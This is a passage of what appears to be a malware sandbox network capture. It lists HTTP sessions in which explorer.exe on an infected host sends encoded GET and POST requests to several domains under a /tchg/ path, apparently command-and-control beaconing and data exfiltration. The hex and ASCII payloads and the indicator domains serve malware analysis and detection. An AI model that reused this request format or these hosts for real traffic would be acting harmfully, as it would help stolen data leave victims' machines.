May 30, 2023 11:11:08.986037016 CEST	1138	OUT	Data Raw: 30 7a 61 67 56 58 4e 75 56 67 72 47 75 57 72 43 56 71 36 54 6a 6d 32 52 43 4b 43 7a 45 53 4b 68 6a 35 75 45 2d 4f 61 79 64 76 43 4e 58 6a 32 39 73 58 65 33 55 4c 45 43 30 70 6e 45 6f 75 31 7e 70 71 43 37 46 41 37 44 4f 5a 68 5a 39 67 50 54 63 30 Data Ascii: 0zagVXNuVgrGuWrCVq6Tjm2RCKCzESKhj5uE-OaydvCNXj29sXe3ULEC0pnEou1~pqC7FA7DOZhZ9gPTc0-EtQFfHrfdM8fDUvnRZHeVin9L4oHuOqNJP0RN6oDrI48FPeKSHNCr9yjWrgb82d_ZYCrTprML1N_bmaHqmJUAn6OcV7GScmn4We2JCIAMd8nhYrjxthd(Zm8yI(Oob45QTs5V3dXWzUjI8y4~ilPhl~Td65S0fZw
May 30, 2023 11:11:08.986174107 CEST	1150	OUT	Data Raw: 37 6b 6f 74 4d 76 7a 54 45 74 7a 57 36 6a 32 72 48 63 6e 59 77 36 6b 39 4f 6f 74 4c 33 50 65 32 67 74 35 5a 77 78 70 5a 70 54 5a 36 33 72 35 52 77 67 43 70 35 69 33 31 6b 4d 75 6e 42 34 61 32 47 69 71 48 4f 37 4b 72 44 5a 56 42 39 35 2d 73 47 41 Data Ascii: 7kotMvzTEtzW6j2rHcnYw6k9OotL3Pe2gt5ZwxpZpTZ63r5RwgCp5i31kMunB4a2GiqHO7KrDZVB95-sGAKQWm_cUAdsYIxqGsMQ0OF0JTz1Bv_(uVZKwUNYVC75NPOMS3MWLoW9BtfzniqriALFbTAaY~mxV4Ek1QT6OXCAtjHSbCJECypb57dxBieVp3RfwoBNat975aBRHzHfyUWS9f4MhVO7Eh39giFJZRZOJ7Ay2aDOlVT
May 30, 2023 11:11:09.067985058 CEST	1153	OUT	Data Raw: 6e 78 68 5a 52 42 53 7e 30 35 45 67 54 65 74 7e 6e 6a 58 62 74 47 39 74 36 48 54 63 69 56 34 44 51 36 70 6a 34 6a 71 49 67 6a 48 71 34 7a 31 51 53 74 5f 69 37 31 34 4d 75 33 37 78 76 39 4b 73 39 55 54 30 4a 6f 57 68 56 4f 61 39 6a 58 77 4d 47 65 Data Ascii: nxhZRBS~05EgTet~njXbtG9t6HTciV4DQ6pj4jqIgjHq4z1QSt_i714Mu37xv9Ks9UT0JoWhVOa9jXwMGe4iQ8NgQL9hTYjaR~DpqF59qZ6qxSHeyfGoR(h0w76zp1E1FQ4vpKI5XZNZLrPsyGTGepusCrZYL5u70VRvfmfaQDozyETtfaXXuXW86VAYHpg3up-ipSOOOgal7dhXy0r0RvuM_p8WJjbhMwBgu3YMsgLL1iJxrJK
May 30, 2023 11:11:09.068125963 CEST	1156	OUT	Data Raw: 34 64 34 63 56 43 4c 49 58 66 4c 46 47 4b 6c 64 74 28 4c 64 68 6b 4f 61 6d 48 59 69 37 4e 70 7e 36 35 54 62 4c 6a 52 7a 30 34 2d 76 58 7a 5f 53 47 79 5f 51 43 62 69 37 6a 71 52 58 72 6b 4b 78 58 7e 67 74 31 34 66 44 66 43 50 33 5a 51 4a 53 47 67 Data Ascii: 4d4cVCLIXfLFGKldt(LdhkOamHYi7Np~65TbLjRz04-vXz_SGy_QCbi7jqRXrkKxX~gt14fDfCP3ZQJSGg11F8ZAmcEHL9CGBhcAeU7qtf2~58Bd_Y6jjCnbXilmAQXPbhsl9q84DIOg1IXFFfnna6QxAsBrDhL4e9V(aFvCLti4oTt9TmwqPhEue7t3o4-ci3Unh(jJUO4N-thVK6Xp-Fa2F(BaqqCXi9EQ6PtgeqNRpTxdqmk
May 30, 2023 11:11:09.068396091 CEST	1157	OUT	Data Raw: 38 34 68 42 61 68 59 4f 7a 34 73 6b 6a 64 35 4f 46 59 4b 79 39 34 6d 6f 51 52 6b 44 44 4a 31 74 36 70 41 50 69 4d 38 52 63 4c 56 4f 72 6a 6f 53 6c 54 70 48 4e 6e 2d 58 4c 32 6a 6d 32 55 34 6b 70 53 4a 6a 31 7e 41 79 6e 64 44 35 65 54 44 57 53 78 Data Ascii: 84hBahYOz4skjd5OFYKy94moQRkDDJ1t6pAPiM8RcLVOrjoSlTpHNn-XL2jm2U4kpSJj1~AyndD5eTDWSxiRzi2j8leLEJjR7y-BJQwZiMa~LWl(HZvxofVWvQAGH0bZC5IrnkNTipaXQP21lCrAjdsbTCX1QDmPhAeuJ4JloUSeQI5Ep9QeXY8DTo2GIF5I1xP2FkIPsUg2kanl_eFyNfSyvTp1nnkS3c4(7FB(_50pUnEhKkl
May 30, 2023 11:11:09.068573952 CEST	1167	OUT	Data Raw: 31 4a 2d 31 70 6b 63 79 31 65 7a 6e 45 32 63 6f 71 55 33 32 2d 67 6b 34 4e 6c 4f 52 4a 67 7a 45 69 6c 72 69 5a 32 64 71 42 65 4f 65 32 41 67 5a 4e 6b 64 49 75 28 76 6b 5f 39 48 63 31 73 39 58 44 45 73 61 79 68 69 69 51 35 79 70 6a 72 2d 62 2d 6a Data Ascii: 1J-1pkcy1eznE2coqU32-gk4NlORJgzEilriZ2dqBeOe2AgZNkdIu(vk_9Hc1s9XDEsayhiiQ5ypjr-b-jXYtbNVl80gH14KHftE4D6rp4FVXeE7uHf~1ZvkY(CoHabgcIh8Wk82SYm4hd9FySqPtZ1LTrKNy7QoIg0go3u(JEPvcGtac9bC3Os(PN2Xrg6(yWw4af920kyJCboEknbSU4i7YWo~JIYHUGFiUiJO9dbHfKtXpaC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	49817	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:11.513123989 CEST	1168	OUT	GET /tchg/?O0qEM=mDEdoIjvGdDKka9ru4QwK/GisJWxY9EIyNGATwE/O1GDb08I/XgAMo6lLUTyBtJ+E+b+Hhq9pNT1+wqS6RrKc+0XnVP7aUjPVQ==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.zinkiggekis.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:11:11.591511965 CEST	1168	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:11 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	49818	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:17.198364973 CEST	1169	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 31 56 32 70 47 69 61 49 30 63 61 47 35 41 4f 56 47 58 35 68 5a 7a 32 59 41 79 61 6d 59 78 41 35 72 6b 46 79 36 6f 4f 68 4f 65 55 69 43 74 4b 59 4e 6a 4f 63 56 62 58 5f 4f 36 45 38 6f 4f 50 4f 28 33 69 4d 33 6b 6e 74 42 62 53 43 42 4b 55 36 79 34 39 6a 48 31 44 53 66 44 33 49 7a 59 69 4b 77 48 46 4b 47 67 62 46 62 4b 7e 71 49 51 38 58 31 4e 56 47 65 70 72 58 37 4b 76 64 53 39 48 41 69 55 67 48 39 4f 64 67 6b 52 30 39 4e 41 53 6f 58 6a 6c 65 4d 55 58 78 37 30 4d 65 56 6c 59 6d 46 37 50 55 77 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=1wj-jujVjS(61V2pGiaI0caG5AOVGX5hZz2YAyamYxA5rkFy6oOhOeUiCtKYNjOcVbX_O6E8oOPO(3iM3kntBbSCBKU6y49jH1DSfD3IzYiKwHFKGgbFbK~qIQ8X1NVGeprX7KvdS9HAiUgH9OdgkR09NASoXjleMUXx70MeVlYmF7PUwg).
May 30, 2023 11:11:17.366872072 CEST	1171	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:11:16 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:11:17.366941929 CEST	1171	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49765	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:16.675271988 CEST	333	OUT	GET /tchg/?O0qEM=DJvKcwNMAiJtEMOFKIZqmDIH4j0MfehpVISF4oayj5HJP/icrRLtFKDL2L4p+A5+/b2o2lLyzfTNwEC6FKsE+wfmOuyyDckdRA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.minskadue.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:08:16.694511890 CEST	333	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:08:16 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	49819	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:19.922746897 CEST	1172	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 32 31 6d 70 48 46 4f 49 6a 73 61 46 6c 51 4f 56 4d 33 35 6c 5a 79 4b 59 41 7a 66 35 59 45 6f 35 72 46 31 79 37 74 36 68 4a 65 55 69 49 4e 4b 5a 44 44 50 51 56 62 72 4e 4f 2d 4d 38 6f 4f 72 4f 35 56 71 4d 78 55 6e 73 4b 37 53 4e 43 4b 55 37 6b 34 39 6c 48 31 4f 35 66 47 6e 49 7a 4d 53 4b 7a 42 70 4b 58 46 76 47 4e 61 7e 73 4f 51 38 55 36 74 56 79 65 70 6e 70 37 49 76 6e 53 4f 62 41 69 31 41 48 38 4f 64 6e 32 42 30 32 53 51 54 64 47 54 30 72 4e 32 7e 49 6c 6e 6f 73 62 46 64 74 4c 4b 4b 48 6d 55 4f 52 7a 33 44 67 61 35 5a 44 6f 31 4c 71 38 6f 68 51 61 75 52 49 52 4d 71 4d 32 69 75 58 75 37 7a 70 37 30 79 31 6d 69 70 52 45 59 7a 39 4e 6b 77 36 47 67 4d 58 75 42 6b 37 46 49 6b 70 4b 6d 58 43 69 54 6c 54 49 34 66 66 7e 64 75 78 43 47 69 4c 46 51 28 31 6d 37 63 6f 7a 71 44 47 31 38 4b 6a 58 42 44 61 4a 70 76 4f 39 74 66 37 59 50 50 48 64 5f 58 4e 4a 79 71 64 28 6c 71 79 71 79 54 54 46 38 56 58 32 4f 59 36 6c 56 33 55 63 79 36 49 4f 55 39 62 67 7a 63 79 6f 4c 52 6c 7a 42 7a 47 37 42 50 6b 37 44 79 79 73 6e 53 4e 35 71 6f 6c 6c 42 4b 64 35 6a 42 70 41 66 48 73 59 43 7e 48 52 4a 31 33 68 74 64 71 4a 5a 4d 73 52 4c 6c 52 65 68 45 5a 34 33 66 4c 4f 41 50 79 70 37 4b 43 79 55 52 31 30 54 53 32 55 53 32 53 6e 38 53 30 68 38 77 39 6b 5f 30 52 77 32 4c 74 61 4c 78 7a 47 38 53 5a 4c 75 31 71 5a 46 7e 77 35 53 46 55 65 4e 52 64 6a 73 43 51 7e 61 32 37 70 48 62 31 6e 34 58 36 32 71 6e 35 54 59 32 33 63 7a 77 38 76 45 39 33 49 72 37 43 69 64 31 6e 30 74 6f 74 7e 2d 76 4a 51 58 44 4b 4e 77 56 76 64 30 59 4f 49 72 41 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=1wj-jujVjS(621mpHFOIjsaFlQOVM35lZyKYAzf5YEo5rF1y7t6hJeUiINKZDDPQVbrNO-M8oOrO5VqMxUnsK7SNCKU7k49lH1O5fGnIzMSKzBpKXFvGNa~sOQ8U6tVyepnp7IvnSObAi1AH8Odn2B02SQTdGT0rN2~IlnosbFdtLKKHmUORz3Dga5ZDo1Lq8ohQauRIRMqM2iuXu7zp70y1mipREYz9Nkw6GgMXuBk7FIkpKmXCiTlTI4ff~duxCGiLFQ(1m7cozqDG18KjXBDaJpvO9tf7YPPHd_XNJyqd(lqyqyTTF8VX2OY6lV3Ucy6IOU9bgzcyoLRlzBzG7BPk7DyysnSN5qollBKd5jBpAfHsYC~HRJ13htdqJZMsRLlRehEZ43fLOAPyp7KCyUR10TS2US2Sn8S0h8w9k_0Rw2LtaLxzG8SZLu1qZF~w5SFUeNRdjsCQ~a27pHb1n4X62qn5TY23czw8vE93Ir7Cid1n0tot~-vJQXDKNwVvd0YOIrA.
May 30, 2023 11:11:20.090631962 CEST	1173	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:11:19 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:11:20.090709925 CEST	1174	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	49820	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:22.610615015 CEST	1178	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 32 31 6d 70 48 46 4f 49 6a 73 61 46 6c 51 4f 56 4d 33 35 6c 5a 79 4b 59 41 7a 66 35 59 45 77 35 72 33 74 79 39 4f 53 68 49 65 55 69 4c 4e 4b 69 44 44 50 64 56 62 43 45 